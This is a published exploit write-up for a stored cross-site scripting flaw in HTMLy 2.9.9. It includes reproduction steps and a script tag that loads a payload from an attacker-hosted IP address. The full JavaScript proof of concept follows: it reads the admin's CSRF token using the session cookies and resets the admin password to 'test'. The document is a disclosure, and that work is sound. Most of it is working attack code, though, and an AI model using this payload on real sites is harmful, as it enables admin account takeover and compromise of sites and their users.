HTMLy 2.9.9 Cross Site Scripting

# Exploit Title: Stored XSS to Account Takeover – htmlyv2.9.9
# Date: 9/2024
# Exploit Author: Andrey Stoykov
# Version: 2.9.9
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2024/08/friday-fun-pentest-series-9-stored-xss.html

Description:

– It was found that the application suffers from stored XSS

– Low level user having an “author” role can takeover admin account and
change their password via posting a malicious post with a reference to a
payload hosted on attacker domain

Stored XSS to Account Takeover #1:

Steps to Reproduce:

1. Visit “My Posts” > “Add New Post” > “Regular Post”
2. Enter the following payload into the “Content” referencing externally
hosted POC in Javascript:
<script src=”http://192.168.159.191:8000/xss.js”></script>
3. Upon visiting the blog post, the admin account password would be changed
to “test”
4. In the XSS payload pasted below need to adjust the “passwordChangeUrl”,
“username” and “password”

// Javascript POC

// Function to fetch CSRF token and perform password change
(function() {
// URL of the password change page
const passwordChangePageUrl = ‘
http://192.168.159.191/htmly/edit/password’;

// Function to fetch the CSRF token
function fetchCsrfToken() {
fetch(passwordChangePageUrl, {
method: ‘GET’,
credentials: ‘include’ // Include cookies for the current
session
})
.then(response => response.text())
.then(html => {
// Parse the HTML to find the CSRF token
const parser = new DOMParser();
const doc = parser.parseFromString(html, ‘text/html’);
const csrfTokenInput =
doc.querySelector(‘input[name=”csrf_token”]’);
if (csrfTokenInput) {
const csrfToken = csrfTokenInput.value;
console.log(‘CSRF Token:’, csrfToken);
changePassword(csrfToken);
} else {
console.error(‘CSRF token not found’);
}
})
.catch(error => console.error(‘Error fetching CSRF token:’,
error));
}

// Function to change the password
function changePassword(csrfToken) {
const postData = new URLSearchParams();
postData.append(‘csrf_token’, csrfToken);
postData.append(‘username’, ‘admin’);
postData.append(‘password’, ‘test’);

fetch(passwordChangePageUrl, {
method: ‘POST’,
body: postData,
headers: {
‘Content-Type’: ‘application/x-www-form-urlencoded’
},
credentials: ‘include’ // Include cookies for the current
session
})
.then(response => response.text())
.then(data => {
console.log(‘Password change response:’, data);
})
.catch(error => console.error(‘Error changing password:’,
error));
}

// Trigger the CSRF token fetch and password change
fetchCsrfToken();
})();